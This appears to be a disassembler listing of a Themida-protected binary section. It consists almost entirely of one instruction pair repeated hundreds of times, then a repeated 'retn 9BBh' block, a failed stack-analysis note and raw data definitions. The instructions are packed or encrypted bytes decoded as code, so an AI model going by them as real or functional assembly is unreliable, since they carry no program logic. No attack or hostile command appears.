and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
inc ecx
and ch, [edx-59h]
lds ecx, [ecx]
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
sub_5D584B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
mov dl, 0C2h
mov ebx, 0BBC2B209h
or [edx-4DF6443Eh], esi
retn 9BBh
; ---------------------------------------------------------------------------
db 0B2h, 0C2h, 0BBh
; ---------------------------------------------------------------------------
or [edx-4DF6443Eh], esi
retn 6C47h
; ---------------------------------------------------------------------------
db 6Ah, 0E3h, 47h
dd 326h dup(47E36A6Ch)
db 6Ch, 6Ah
word_5D738E dw 47E3h ; DATA XREF: Themida_:0054E610o
dd 0E3866A6Ch, 2Eh dup(0E3864B32h), 724E4B32h, 82h dup(724ECF7Bh)
